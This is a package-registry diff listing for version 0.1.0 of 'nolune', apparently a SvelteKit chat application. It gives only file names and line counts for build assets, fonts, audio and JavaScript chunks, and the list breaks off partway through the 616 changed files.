nolune 0.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (616) hide show
  1. package/DESIGN.md +1622 -0
  2. package/LICENSE +21 -0
  3. package/README.md +226 -0
  4. package/build/client/_app/immutable/assets/0.CO3c3JBa.css +2 -0
  5. package/build/client/_app/immutable/assets/0.CO3c3JBa.css.br +0 -0
  6. package/build/client/_app/immutable/assets/0.CO3c3JBa.css.gz +0 -0
  7. package/build/client/_app/immutable/assets/10.DiHYpJ-g.css +1 -0
  8. package/build/client/_app/immutable/assets/10.DiHYpJ-g.css.br +0 -0
  9. package/build/client/_app/immutable/assets/10.DiHYpJ-g.css.gz +0 -0
  10. package/build/client/_app/immutable/assets/14.D8mCg27h.css +1 -0
  11. package/build/client/_app/immutable/assets/14.D8mCg27h.css.br +0 -0
  12. package/build/client/_app/immutable/assets/14.D8mCg27h.css.gz +0 -0
  13. package/build/client/_app/immutable/assets/AssistantAvatar.BH1P1JPA.css +1 -0
  14. package/build/client/_app/immutable/assets/AssistantAvatar.BH1P1JPA.css.br +0 -0
  15. package/build/client/_app/immutable/assets/AssistantAvatar.BH1P1JPA.css.gz +0 -0
  16. package/build/client/_app/immutable/assets/AvatarPicker.BWZNEVEv.css +1 -0
  17. package/build/client/_app/immutable/assets/AvatarPicker.BWZNEVEv.css.br +0 -0
  18. package/build/client/_app/immutable/assets/AvatarPicker.BWZNEVEv.css.gz +0 -0
  19. package/build/client/_app/immutable/assets/DotGrid.uBe8QJ6R.css +1 -0
  20. package/build/client/_app/immutable/assets/DotGrid.uBe8QJ6R.css.br +0 -0
  21. package/build/client/_app/immutable/assets/DotGrid.uBe8QJ6R.css.gz +0 -0
  22. package/build/client/_app/immutable/assets/ModelMenu.CfwWh95X.css +1 -0
  23. package/build/client/_app/immutable/assets/ModelMenu.CfwWh95X.css.br +0 -0
  24. package/build/client/_app/immutable/assets/ModelMenu.CfwWh95X.css.gz +0 -0
  25. package/build/client/_app/immutable/assets/confirm.BpBhXN_i.mp3 +0 -0
  26. package/build/client/_app/immutable/assets/data.9aNBaxbh.json +1 -0
  27. package/build/client/_app/immutable/assets/data.9aNBaxbh.json.br +0 -0
  28. package/build/client/_app/immutable/assets/data.9aNBaxbh.json.gz +0 -0
  29. package/build/client/_app/immutable/assets/data.BF1r6TM-.json +1 -0
  30. package/build/client/_app/immutable/assets/data.BF1r6TM-.json.br +0 -0
  31. package/build/client/_app/immutable/assets/data.BF1r6TM-.json.gz +0 -0
  32. package/build/client/_app/immutable/assets/data.BnNTV_b6.json +1 -0
  33. package/build/client/_app/immutable/assets/data.BnNTV_b6.json.br +0 -0
  34. package/build/client/_app/immutable/assets/data.BnNTV_b6.json.gz +0 -0
  35. package/build/client/_app/immutable/assets/data.CreAftJo.json +1 -0
  36. package/build/client/_app/immutable/assets/data.CreAftJo.json.br +0 -0
  37. package/build/client/_app/immutable/assets/data.CreAftJo.json.gz +0 -0
  38. package/build/client/_app/immutable/assets/data.DKp8PYJD.json +1 -0
  39. package/build/client/_app/immutable/assets/data.DKp8PYJD.json.br +0 -0
  40. package/build/client/_app/immutable/assets/data.DKp8PYJD.json.gz +0 -0
  41. package/build/client/_app/immutable/assets/figtree-latin-ext-wght-italic.Q0qr0lrZ.woff2 +0 -0
  42. package/build/client/_app/immutable/assets/figtree-latin-ext-wght-normal.DCwSJGxG.woff2 +0 -0
  43. package/build/client/_app/immutable/assets/figtree-latin-wght-italic.BEAWuiTz.woff2 +0 -0
  44. package/build/client/_app/immutable/assets/figtree-latin-wght-normal.D_ZTVpCC.woff2 +0 -0
  45. package/build/client/_app/immutable/assets/fira-mono-cyrillic-400-normal.BJkDdjbt.woff2 +0 -0
  46. package/build/client/_app/immutable/assets/fira-mono-cyrillic-400-normal.DUd3efVn.woff +0 -0
  47. package/build/client/_app/immutable/assets/fira-mono-cyrillic-500-normal.CAy0Dwk2.woff2 +0 -0
  48. package/build/client/_app/immutable/assets/fira-mono-cyrillic-500-normal.CFTSF0cD.woff +0 -0
  49. package/build/client/_app/immutable/assets/fira-mono-cyrillic-ext-400-normal.Co4MVjrD.woff +0 -0
  50. package/build/client/_app/immutable/assets/fira-mono-cyrillic-ext-400-normal.FAIU8e3o.woff2 +0 -0
  51. package/build/client/_app/immutable/assets/fira-mono-cyrillic-ext-500-normal.BDCQVX4y.woff +0 -0
  52. package/build/client/_app/immutable/assets/fira-mono-cyrillic-ext-500-normal.BGV2-mDE.woff2 +0 -0
  53. package/build/client/_app/immutable/assets/fira-mono-greek-400-normal.B_0AmgK7.woff +0 -0
  54. package/build/client/_app/immutable/assets/fira-mono-greek-400-normal.ftNhKy_S.woff2 +0 -0
  55. package/build/client/_app/immutable/assets/fira-mono-greek-500-normal.DNFqaoqB.woff +0 -0
  56. package/build/client/_app/immutable/assets/fira-mono-greek-500-normal.kj_VgxTv.woff2 +0 -0
  57. package/build/client/_app/immutable/assets/fira-mono-greek-ext-400-normal.BQ5yw6bY.woff +0 -0
  58. package/build/client/_app/immutable/assets/fira-mono-greek-ext-400-normal.Be4g_LSk.woff2 +0 -0
  59. package/build/client/_app/immutable/assets/fira-mono-greek-ext-500-normal.CGPEfoom.woff2 +0 -0
  60. package/build/client/_app/immutable/assets/fira-mono-greek-ext-500-normal.g6G8W_LY.woff +0 -0
  61. package/build/client/_app/immutable/assets/fira-mono-latin-400-normal.C3FQ26ho.woff +0 -0
  62. package/build/client/_app/immutable/assets/fira-mono-latin-400-normal.DVTTRLHv.woff2 +0 -0
  63. package/build/client/_app/immutable/assets/fira-mono-latin-500-normal.DknboRIW.woff +0 -0
  64. package/build/client/_app/immutable/assets/fira-mono-latin-500-normal.Du17Nws8.woff2 +0 -0
  65. package/build/client/_app/immutable/assets/fira-mono-latin-ext-400-normal.B2gPvaNr.woff2 +0 -0
  66. package/build/client/_app/immutable/assets/fira-mono-latin-ext-400-normal.CbD3vWRE.woff +0 -0
  67. package/build/client/_app/immutable/assets/fira-mono-latin-ext-500-normal.-0AGvlKU.woff +0 -0
  68. package/build/client/_app/immutable/assets/fira-mono-latin-ext-500-normal.DPED3Y3R.woff2 +0 -0
  69. package/build/client/_app/immutable/assets/fira-mono-symbols2-400-normal.C6JptOil.woff2 +0 -0
  70. package/build/client/_app/immutable/assets/fira-mono-symbols2-400-normal.CpeG9ob9.woff +0 -0
  71. package/build/client/_app/immutable/assets/fira-mono-symbols2-500-normal.0PpNbZw_.woff2 +0 -0
  72. package/build/client/_app/immutable/assets/fira-mono-symbols2-500-normal.fxu0Prpo.woff +0 -0
  73. package/build/client/_app/immutable/assets/music.z3ymEIJM.mp3 +0 -0
  74. package/build/client/_app/immutable/assets/select.CV-KWLNP.css +1 -0
  75. package/build/client/_app/immutable/assets/select.CV-KWLNP.css.br +1 -0
  76. package/build/client/_app/immutable/assets/select.CV-KWLNP.css.gz +0 -0
  77. package/build/client/_app/immutable/assets/wash.BnjShmr3.mp3 +0 -0
  78. package/build/client/_app/immutable/assets/yap.SNl9LSqC.mp3 +0 -0
  79. package/build/client/_app/immutable/chunks/-FJ70HB3.js +1 -0
  80. package/build/client/_app/immutable/chunks/-FJ70HB3.js.br +0 -0
  81. package/build/client/_app/immutable/chunks/-FJ70HB3.js.gz +0 -0
  82. package/build/client/_app/immutable/chunks/9J99lH1E.js +4 -0
  83. package/build/client/_app/immutable/chunks/9J99lH1E.js.br +0 -0
  84. package/build/client/_app/immutable/chunks/9J99lH1E.js.gz +0 -0
  85. package/build/client/_app/immutable/chunks/B4AK16CS.js +1 -0
  86. package/build/client/_app/immutable/chunks/B4AK16CS.js.br +0 -0
  87. package/build/client/_app/immutable/chunks/B4AK16CS.js.gz +0 -0
  88. package/build/client/_app/immutable/chunks/B5IRm2KW.js +1 -0
  89. package/build/client/_app/immutable/chunks/B5IRm2KW.js.br +0 -0
  90. package/build/client/_app/immutable/chunks/B5IRm2KW.js.gz +0 -0
  91. package/build/client/_app/immutable/chunks/BAJE4yH_.js +9 -0
  92. package/build/client/_app/immutable/chunks/BAJE4yH_.js.br +0 -0
  93. package/build/client/_app/immutable/chunks/BAJE4yH_.js.gz +0 -0
  94. package/build/client/_app/immutable/chunks/BDCREBKE.js +1 -0
  95. package/build/client/_app/immutable/chunks/BDCREBKE.js.br +0 -0
  96. package/build/client/_app/immutable/chunks/BDCREBKE.js.gz +0 -0
  97. package/build/client/_app/immutable/chunks/BOf4cn4q.js +16 -0
  98. package/build/client/_app/immutable/chunks/BOf4cn4q.js.br +0 -0
  99. package/build/client/_app/immutable/chunks/BOf4cn4q.js.gz +0 -0
  100. package/build/client/_app/immutable/chunks/BOixjj3c.js +1 -0
  101. package/build/client/_app/immutable/chunks/BOixjj3c.js.br +1 -0
  102. package/build/client/_app/immutable/chunks/BOixjj3c.js.gz +0 -0
  103. package/build/client/_app/immutable/chunks/BQb4WE-8.js +1 -0
  104. package/build/client/_app/immutable/chunks/BQb4WE-8.js.br +0 -0
  105. package/build/client/_app/immutable/chunks/BQb4WE-8.js.gz +0 -0
  106. package/build/client/_app/immutable/chunks/BTeK4a_a.js +1 -0
  107. package/build/client/_app/immutable/chunks/BTeK4a_a.js.br +0 -0
  108. package/build/client/_app/immutable/chunks/BTeK4a_a.js.gz +0 -0
  109. package/build/client/_app/immutable/chunks/BYNjkfU_.js +1 -0
  110. package/build/client/_app/immutable/chunks/BYNjkfU_.js.br +0 -0
  111. package/build/client/_app/immutable/chunks/BYNjkfU_.js.gz +0 -0
  112. package/build/client/_app/immutable/chunks/BeDhKqx_.js +1 -0
  113. package/build/client/_app/immutable/chunks/BeDhKqx_.js.br +3 -0
  114. package/build/client/_app/immutable/chunks/BeDhKqx_.js.gz +0 -0
  115. package/build/client/_app/immutable/chunks/Bjy-W4x2.js +81 -0
  116. package/build/client/_app/immutable/chunks/Bjy-W4x2.js.br +0 -0
  117. package/build/client/_app/immutable/chunks/Bjy-W4x2.js.gz +0 -0
  118. package/build/client/_app/immutable/chunks/Bmf5cCYM.js +1 -0
  119. package/build/client/_app/immutable/chunks/Bmf5cCYM.js.br +0 -0
  120. package/build/client/_app/immutable/chunks/Bmf5cCYM.js.gz +0 -0
  121. package/build/client/_app/immutable/chunks/Bo7a0aly.js +1 -0
  122. package/build/client/_app/immutable/chunks/Bo7a0aly.js.br +0 -0
  123. package/build/client/_app/immutable/chunks/Bo7a0aly.js.gz +0 -0
  124. package/build/client/_app/immutable/chunks/BvAz--0N.js +1 -0
  125. package/build/client/_app/immutable/chunks/BvAz--0N.js.br +0 -0
  126. package/build/client/_app/immutable/chunks/BvAz--0N.js.gz +0 -0
  127. package/build/client/_app/immutable/chunks/C-5HEoLn.js +1 -0
  128. package/build/client/_app/immutable/chunks/C-5HEoLn.js.br +0 -0
  129. package/build/client/_app/immutable/chunks/C-5HEoLn.js.gz +0 -0
  130. package/build/client/_app/immutable/chunks/C7dZK71a.js +1 -0
  131. package/build/client/_app/immutable/chunks/C7dZK71a.js.br +0 -0
  132. package/build/client/_app/immutable/chunks/C7dZK71a.js.gz +0 -0
  133. package/build/client/_app/immutable/chunks/C98TgtTN.js +1 -0
  134. package/build/client/_app/immutable/chunks/C98TgtTN.js.br +0 -0
  135. package/build/client/_app/immutable/chunks/C98TgtTN.js.gz +0 -0
  136. package/build/client/_app/immutable/chunks/C9u9ikCJ.js +1 -0
  137. package/build/client/_app/immutable/chunks/C9u9ikCJ.js.br +0 -0
  138. package/build/client/_app/immutable/chunks/C9u9ikCJ.js.gz +0 -0
  139. package/build/client/_app/immutable/chunks/CBy5xNAu.js +1 -0
  140. package/build/client/_app/immutable/chunks/CBy5xNAu.js.br +0 -0
  141. package/build/client/_app/immutable/chunks/CBy5xNAu.js.gz +0 -0
  142. package/build/client/_app/immutable/chunks/CCDGpt2Z.js +1 -0
  143. package/build/client/_app/immutable/chunks/CCDGpt2Z.js.br +0 -0
  144. package/build/client/_app/immutable/chunks/CCDGpt2Z.js.gz +0 -0
  145. package/build/client/_app/immutable/chunks/CNU7dyxe.js +1 -0
  146. package/build/client/_app/immutable/chunks/CNU7dyxe.js.br +3 -0
  147. package/build/client/_app/immutable/chunks/CNU7dyxe.js.gz +0 -0
  148. package/build/client/_app/immutable/chunks/CNij7yXO.js +1 -0
  149. package/build/client/_app/immutable/chunks/CNij7yXO.js.br +0 -0
  150. package/build/client/_app/immutable/chunks/CNij7yXO.js.gz +0 -0
  151. package/build/client/_app/immutable/chunks/CPbGz0nD.js +1 -0
  152. package/build/client/_app/immutable/chunks/CPbGz0nD.js.br +0 -0
  153. package/build/client/_app/immutable/chunks/CPbGz0nD.js.gz +0 -0
  154. package/build/client/_app/immutable/chunks/Ce5rxuHE.js +1 -0
  155. package/build/client/_app/immutable/chunks/Ce5rxuHE.js.br +0 -0
  156. package/build/client/_app/immutable/chunks/Ce5rxuHE.js.gz +0 -0
  157. package/build/client/_app/immutable/chunks/CgJaNa38.js +1 -0
  158. package/build/client/_app/immutable/chunks/CgJaNa38.js.br +0 -0
  159. package/build/client/_app/immutable/chunks/CgJaNa38.js.gz +0 -0
  160. package/build/client/_app/immutable/chunks/CgoZLTv2.js +1 -0
  161. package/build/client/_app/immutable/chunks/CgoZLTv2.js.br +0 -0
  162. package/build/client/_app/immutable/chunks/CgoZLTv2.js.gz +0 -0
  163. package/build/client/_app/immutable/chunks/Ch-tX5Y1.js +1 -0
  164. package/build/client/_app/immutable/chunks/Ch-tX5Y1.js.br +0 -0
  165. package/build/client/_app/immutable/chunks/Ch-tX5Y1.js.gz +0 -0
  166. package/build/client/_app/immutable/chunks/CkALdgl6.js +1 -0
  167. package/build/client/_app/immutable/chunks/CkALdgl6.js.br +0 -0
  168. package/build/client/_app/immutable/chunks/CkALdgl6.js.gz +0 -0
  169. package/build/client/_app/immutable/chunks/Cn31HPZM.js +1 -0
  170. package/build/client/_app/immutable/chunks/Cn31HPZM.js.br +0 -0
  171. package/build/client/_app/immutable/chunks/Cn31HPZM.js.gz +0 -0
  172. package/build/client/_app/immutable/chunks/CoVud_S-.js +1 -0
  173. package/build/client/_app/immutable/chunks/CoVud_S-.js.br +0 -0
  174. package/build/client/_app/immutable/chunks/CoVud_S-.js.gz +0 -0
  175. package/build/client/_app/immutable/chunks/CraKVm2C.js +1 -0
  176. package/build/client/_app/immutable/chunks/CraKVm2C.js.br +0 -0
  177. package/build/client/_app/immutable/chunks/CraKVm2C.js.gz +0 -0
  178. package/build/client/_app/immutable/chunks/D2KG5w4u.js +1 -0
  179. package/build/client/_app/immutable/chunks/D2KG5w4u.js.br +0 -0
  180. package/build/client/_app/immutable/chunks/D2KG5w4u.js.gz +0 -0
  181. package/build/client/_app/immutable/chunks/DD7ObTOV.js +1 -0
  182. package/build/client/_app/immutable/chunks/DD7ObTOV.js.br +0 -0
  183. package/build/client/_app/immutable/chunks/DD7ObTOV.js.gz +0 -0
  184. package/build/client/_app/immutable/chunks/DD9f1wuL.js +1 -0
  185. package/build/client/_app/immutable/chunks/DD9f1wuL.js.br +0 -0
  186. package/build/client/_app/immutable/chunks/DD9f1wuL.js.gz +0 -0
  187. package/build/client/_app/immutable/chunks/DFMQ7Wtb.js +1 -0
  188. package/build/client/_app/immutable/chunks/DFMQ7Wtb.js.br +0 -0
  189. package/build/client/_app/immutable/chunks/DFMQ7Wtb.js.gz +0 -0
  190. package/build/client/_app/immutable/chunks/DFO_JKVL.js +1 -0
  191. package/build/client/_app/immutable/chunks/DFO_JKVL.js.br +0 -0
  192. package/build/client/_app/immutable/chunks/DFO_JKVL.js.gz +0 -0
  193. package/build/client/_app/immutable/chunks/DGyl1a-y.js +2 -0
  194. package/build/client/_app/immutable/chunks/DGyl1a-y.js.br +0 -0
  195. package/build/client/_app/immutable/chunks/DGyl1a-y.js.gz +0 -0
  196. package/build/client/_app/immutable/chunks/DM7BiLiI.js +1 -0
  197. package/build/client/_app/immutable/chunks/DM7BiLiI.js.br +0 -0
  198. package/build/client/_app/immutable/chunks/DM7BiLiI.js.gz +0 -0
  199. package/build/client/_app/immutable/chunks/DRu3YDxz.js +1 -0
  200. package/build/client/_app/immutable/chunks/DRu3YDxz.js.br +2 -0
  201. package/build/client/_app/immutable/chunks/DRu3YDxz.js.gz +0 -0
  202. package/build/client/_app/immutable/chunks/DTmdu5jU.js +1 -0
  203. package/build/client/_app/immutable/chunks/DTmdu5jU.js.br +0 -0
  204. package/build/client/_app/immutable/chunks/DTmdu5jU.js.gz +0 -0
  205. package/build/client/_app/immutable/chunks/DW6oei0W.js +1 -0
  206. package/build/client/_app/immutable/chunks/DW6oei0W.js.br +0 -0
  207. package/build/client/_app/immutable/chunks/DW6oei0W.js.gz +0 -0
  208. package/build/client/_app/immutable/chunks/DZ_NkRbw.js +1 -0
  209. package/build/client/_app/immutable/chunks/DZ_NkRbw.js.br +0 -0
  210. package/build/client/_app/immutable/chunks/DZ_NkRbw.js.gz +0 -0
  211. package/build/client/_app/immutable/chunks/DfNBP7nd.js +1 -0
  212. package/build/client/_app/immutable/chunks/DfNBP7nd.js.br +0 -0
  213. package/build/client/_app/immutable/chunks/DfNBP7nd.js.gz +0 -0
  214. package/build/client/_app/immutable/chunks/DkhXP75k.js +1 -0
  215. package/build/client/_app/immutable/chunks/DkhXP75k.js.br +0 -0
  216. package/build/client/_app/immutable/chunks/DkhXP75k.js.gz +0 -0
  217. package/build/client/_app/immutable/chunks/DpugZNaj.js +1 -0
  218. package/build/client/_app/immutable/chunks/DpugZNaj.js.br +0 -0
  219. package/build/client/_app/immutable/chunks/DpugZNaj.js.gz +0 -0
  220. package/build/client/_app/immutable/chunks/DuEN1GTI.js +5 -0
  221. package/build/client/_app/immutable/chunks/DuEN1GTI.js.br +0 -0
  222. package/build/client/_app/immutable/chunks/DuEN1GTI.js.gz +0 -0
  223. package/build/client/_app/immutable/chunks/DubTk1R0.js +1 -0
  224. package/build/client/_app/immutable/chunks/DubTk1R0.js.br +0 -0
  225. package/build/client/_app/immutable/chunks/DubTk1R0.js.gz +0 -0
  226. package/build/client/_app/immutable/chunks/Dyxd9rrM.js +5 -0
  227. package/build/client/_app/immutable/chunks/Dyxd9rrM.js.br +0 -0
  228. package/build/client/_app/immutable/chunks/Dyxd9rrM.js.gz +0 -0
  229. package/build/client/_app/immutable/chunks/F14uK0sn.js +1 -0
  230. package/build/client/_app/immutable/chunks/F14uK0sn.js.br +1 -0
  231. package/build/client/_app/immutable/chunks/F14uK0sn.js.gz +0 -0
  232. package/build/client/_app/immutable/chunks/GbStyEBD.js +1 -0
  233. package/build/client/_app/immutable/chunks/GbStyEBD.js.br +0 -0
  234. package/build/client/_app/immutable/chunks/GbStyEBD.js.gz +0 -0
  235. package/build/client/_app/immutable/chunks/IV6C0355.js +1 -0
  236. package/build/client/_app/immutable/chunks/IV6C0355.js.br +0 -0
  237. package/build/client/_app/immutable/chunks/IV6C0355.js.gz +0 -0
  238. package/build/client/_app/immutable/chunks/KSWUKh8r.js +1 -0
  239. package/build/client/_app/immutable/chunks/KSWUKh8r.js.br +0 -0
  240. package/build/client/_app/immutable/chunks/KSWUKh8r.js.gz +0 -0
  241. package/build/client/_app/immutable/chunks/Nhc5CiNi.js +1 -0
  242. package/build/client/_app/immutable/chunks/Nhc5CiNi.js.br +0 -0
  243. package/build/client/_app/immutable/chunks/Nhc5CiNi.js.gz +0 -0
  244. package/build/client/_app/immutable/chunks/OrbH09aZ.js +318 -0
  245. package/build/client/_app/immutable/chunks/OrbH09aZ.js.br +0 -0
  246. package/build/client/_app/immutable/chunks/OrbH09aZ.js.gz +0 -0
  247. package/build/client/_app/immutable/chunks/PnjGAuWf.js +1 -0
  248. package/build/client/_app/immutable/chunks/PnjGAuWf.js.br +0 -0
  249. package/build/client/_app/immutable/chunks/PnjGAuWf.js.gz +0 -0
  250. package/build/client/_app/immutable/chunks/ZoO6eRK-.js +1 -0
  251. package/build/client/_app/immutable/chunks/ZoO6eRK-.js.br +0 -0
  252. package/build/client/_app/immutable/chunks/ZoO6eRK-.js.gz +0 -0
  253. package/build/client/_app/immutable/chunks/eHlSYfzc.js +67 -0
  254. package/build/client/_app/immutable/chunks/eHlSYfzc.js.br +0 -0
  255. package/build/client/_app/immutable/chunks/eHlSYfzc.js.gz +0 -0
  256. package/build/client/_app/immutable/chunks/kUgLbqVN.js +1 -0
  257. package/build/client/_app/immutable/chunks/kUgLbqVN.js.br +0 -0
  258. package/build/client/_app/immutable/chunks/kUgLbqVN.js.gz +0 -0
  259. package/build/client/_app/immutable/chunks/kW5akbMY.js +1 -0
  260. package/build/client/_app/immutable/chunks/kW5akbMY.js.br +0 -0
  261. package/build/client/_app/immutable/chunks/kW5akbMY.js.gz +0 -0
  262. package/build/client/_app/immutable/chunks/lOC7RXgz.js +1 -0
  263. package/build/client/_app/immutable/chunks/lOC7RXgz.js.br +0 -0
  264. package/build/client/_app/immutable/chunks/lOC7RXgz.js.gz +0 -0
  265. package/build/client/_app/immutable/chunks/mxa1wXkp.js +3 -0
  266. package/build/client/_app/immutable/chunks/mxa1wXkp.js.br +0 -0
  267. package/build/client/_app/immutable/chunks/mxa1wXkp.js.gz +0 -0
  268. package/build/client/_app/immutable/chunks/q0g666o4.js +6 -0
  269. package/build/client/_app/immutable/chunks/q0g666o4.js.br +0 -0
  270. package/build/client/_app/immutable/chunks/q0g666o4.js.gz +0 -0
  271. package/build/client/_app/immutable/chunks/rTK8FScS.js +1 -0
  272. package/build/client/_app/immutable/chunks/rTK8FScS.js.br +0 -0
  273. package/build/client/_app/immutable/chunks/rTK8FScS.js.gz +0 -0
  274. package/build/client/_app/immutable/chunks/uBIymjUX.js +1 -0
  275. package/build/client/_app/immutable/chunks/uBIymjUX.js.br +0 -0
  276. package/build/client/_app/immutable/chunks/uBIymjUX.js.gz +0 -0
  277. package/build/client/_app/immutable/chunks/vt9Yl3tP.js +1 -0
  278. package/build/client/_app/immutable/chunks/vt9Yl3tP.js.br +0 -0
  279. package/build/client/_app/immutable/chunks/vt9Yl3tP.js.gz +0 -0
  280. package/build/client/_app/immutable/chunks/xihTtKlq.js +1 -0
  281. package/build/client/_app/immutable/chunks/xihTtKlq.js.br +1 -0
  282. package/build/client/_app/immutable/chunks/xihTtKlq.js.gz +0 -0
  283. package/build/client/_app/immutable/entry/app.BBB0nTuC.js +2 -0
  284. package/build/client/_app/immutable/entry/app.BBB0nTuC.js.br +0 -0
  285. package/build/client/_app/immutable/entry/app.BBB0nTuC.js.gz +0 -0
  286. package/build/client/_app/immutable/entry/start.CmBINDhZ.js +1 -0
  287. package/build/client/_app/immutable/entry/start.CmBINDhZ.js.br +1 -0
  288. package/build/client/_app/immutable/entry/start.CmBINDhZ.js.gz +0 -0
  289. package/build/client/_app/immutable/nodes/0.But357jM.js +1 -0
  290. package/build/client/_app/immutable/nodes/0.But357jM.js.br +0 -0
  291. package/build/client/_app/immutable/nodes/0.But357jM.js.gz +0 -0
  292. package/build/client/_app/immutable/nodes/1.DT8uBymP.js +1 -0
  293. package/build/client/_app/immutable/nodes/1.DT8uBymP.js.br +4 -0
  294. package/build/client/_app/immutable/nodes/1.DT8uBymP.js.gz +0 -0
  295. package/build/client/_app/immutable/nodes/10.BacbVQXe.js +1 -0
  296. package/build/client/_app/immutable/nodes/10.BacbVQXe.js.br +0 -0
  297. package/build/client/_app/immutable/nodes/10.BacbVQXe.js.gz +0 -0
  298. package/build/client/_app/immutable/nodes/11.CF-CErr7.js +2 -0
  299. package/build/client/_app/immutable/nodes/11.CF-CErr7.js.br +0 -0
  300. package/build/client/_app/immutable/nodes/11.CF-CErr7.js.gz +0 -0
  301. package/build/client/_app/immutable/nodes/12.CAPJJBGQ.js +1 -0
  302. package/build/client/_app/immutable/nodes/12.CAPJJBGQ.js.br +0 -0
  303. package/build/client/_app/immutable/nodes/12.CAPJJBGQ.js.gz +0 -0
  304. package/build/client/_app/immutable/nodes/13.DFyrYJal.js +1 -0
  305. package/build/client/_app/immutable/nodes/13.DFyrYJal.js.br +0 -0
  306. package/build/client/_app/immutable/nodes/13.DFyrYJal.js.gz +0 -0
  307. package/build/client/_app/immutable/nodes/14.D35Ot9wm.js +46 -0
  308. package/build/client/_app/immutable/nodes/14.D35Ot9wm.js.br +0 -0
  309. package/build/client/_app/immutable/nodes/14.D35Ot9wm.js.gz +0 -0
  310. package/build/client/_app/immutable/nodes/15.Cp0A6oCa.js +1 -0
  311. package/build/client/_app/immutable/nodes/15.Cp0A6oCa.js.br +0 -0
  312. package/build/client/_app/immutable/nodes/15.Cp0A6oCa.js.gz +0 -0
  313. package/build/client/_app/immutable/nodes/2.DFKUnwHk.js +1 -0
  314. package/build/client/_app/immutable/nodes/2.DFKUnwHk.js.br +0 -0
  315. package/build/client/_app/immutable/nodes/2.DFKUnwHk.js.gz +0 -0
  316. package/build/client/_app/immutable/nodes/3.DtSCxjUL.js +1 -0
  317. package/build/client/_app/immutable/nodes/3.DtSCxjUL.js.br +0 -0
  318. package/build/client/_app/immutable/nodes/3.DtSCxjUL.js.gz +0 -0
  319. package/build/client/_app/immutable/nodes/4.BY04Tg68.js +2 -0
  320. package/build/client/_app/immutable/nodes/4.BY04Tg68.js.br +0 -0
  321. package/build/client/_app/immutable/nodes/4.BY04Tg68.js.gz +0 -0
  322. package/build/client/_app/immutable/nodes/5.CXq_oj0Q.js +1 -0
  323. package/build/client/_app/immutable/nodes/5.CXq_oj0Q.js.br +0 -0
  324. package/build/client/_app/immutable/nodes/5.CXq_oj0Q.js.gz +0 -0
  325. package/build/client/_app/immutable/nodes/6.BVjg5uYT.js +1 -0
  326. package/build/client/_app/immutable/nodes/6.BVjg5uYT.js.br +0 -0
  327. package/build/client/_app/immutable/nodes/6.BVjg5uYT.js.gz +0 -0
  328. package/build/client/_app/immutable/nodes/7.BX0HQjn_.js +1 -0
  329. package/build/client/_app/immutable/nodes/7.BX0HQjn_.js.br +0 -0
  330. package/build/client/_app/immutable/nodes/7.BX0HQjn_.js.gz +0 -0
  331. package/build/client/_app/immutable/nodes/8.De0kNeyT.js +4 -0
  332. package/build/client/_app/immutable/nodes/8.De0kNeyT.js.br +0 -0
  333. package/build/client/_app/immutable/nodes/8.De0kNeyT.js.gz +0 -0
  334. package/build/client/_app/immutable/nodes/9.CjcFLNkE.js +1 -0
  335. package/build/client/_app/immutable/nodes/9.CjcFLNkE.js.br +0 -0
  336. package/build/client/_app/immutable/nodes/9.CjcFLNkE.js.gz +0 -0
  337. package/build/client/_app/version.json +1 -0
  338. package/build/client/_app/version.json.br +0 -0
  339. package/build/client/_app/version.json.gz +0 -0
  340. package/build/client/apple-touch-icon.png +0 -0
  341. package/build/client/favicon.ico +0 -0
  342. package/build/client/robots.txt +3 -0
  343. package/build/client/robots.txt.br +0 -0
  344. package/build/client/robots.txt.gz +0 -0
  345. package/build/env.js +70 -0
  346. package/build/handler.js +26 -0
  347. package/build/index.js +149 -0
  348. package/build/server/chunks/chunks/AssistantAvatar.js-CR1xF68O.js +294 -0
  349. package/build/server/chunks/chunks/AvatarPicker.js-DZPhpy7w.js +136 -0
  350. package/build/server/chunks/chunks/Composer.js-mKR_nJD9.js +332 -0
  351. package/build/server/chunks/chunks/ComposerDock.js-CCH7a93l.js +58 -0
  352. package/build/server/chunks/chunks/CopyButton.js-BztgBjPI.js +81 -0
  353. package/build/server/chunks/chunks/DotGrid.js-CftrAYTh.js +107 -0
  354. package/build/server/chunks/chunks/LucideIcon.js-B_cwdnXZ.js +19 -0
  355. package/build/server/chunks/chunks/MemoryChangeItem.js-BBDjCjIq.js +2557 -0
  356. package/build/server/chunks/chunks/ModelMenu.js-DHccPOZS.js +510 -0
  357. package/build/server/chunks/chunks/MoveToFolderMenu.js-DI6yuRr_.js +288 -0
  358. package/build/server/chunks/chunks/NewChatForm.js-BesIRgmI.js +296 -0
  359. package/build/server/chunks/chunks/NewFolderDialog.js-BTTYnEvA.js +192 -0
  360. package/build/server/chunks/chunks/Notifications.js-BUIjQEFf.js +762 -0
  361. package/build/server/chunks/chunks/PageHeader.js-CBhoVn_r.js +59 -0
  362. package/build/server/chunks/chunks/RenameFolderDialog.js-DRXA1rE1.js +258 -0
  363. package/build/server/chunks/chunks/Rich.js-DEvHcohw.js +31 -0
  364. package/build/server/chunks/chunks/StepIcon.js-DbIHgd-j.js +38 -0
  365. package/build/server/chunks/chunks/TopBar.js-DL3V5e8_.js +34 -0
  366. package/build/server/chunks/chunks/TypedText.js-CBSV0Eww.js +62 -0
  367. package/build/server/chunks/chunks/UserAvatar.js-zDozVLYj.js +17 -0
  368. package/build/server/chunks/chunks/UserMenu.js-CD42Fp5q.js +960 -0
  369. package/build/server/chunks/chunks/access.js-0oJZgR4f.js +40 -0
  370. package/build/server/chunks/chunks/after-sleep.js-BBvqb2L4.js +10 -0
  371. package/build/server/chunks/chunks/alert-dialog.js-DFswoRFb.js +505 -0
  372. package/build/server/chunks/chunks/articles.js-DmiBPIor.js +16 -0
  373. package/build/server/chunks/chunks/auth.js-avakWenI.js +20044 -0
  374. package/build/server/chunks/chunks/avatars.js-CZXD-JBu.js +496 -0
  375. package/build/server/chunks/chunks/badge.js-CBKfxi1n.js +38 -0
  376. package/build/server/chunks/chunks/check.js-DlXI7kOF.js +15 -0
  377. package/build/server/chunks/chunks/chevron-right.js-D2YPHtEd.js +15 -0
  378. package/build/server/chunks/chunks/chevrons-up-down.js-kIInlPpp.js +15 -0
  379. package/build/server/chunks/chunks/client.js-DXLagFo3.js +120 -0
  380. package/build/server/chunks/chunks/clock.js-DLKiHbA7.js +19 -0
  381. package/build/server/chunks/chunks/collapsible.js-TEhMCaES.js +410 -0
  382. package/build/server/chunks/chunks/command.js-DYF1chyA.js +2231 -0
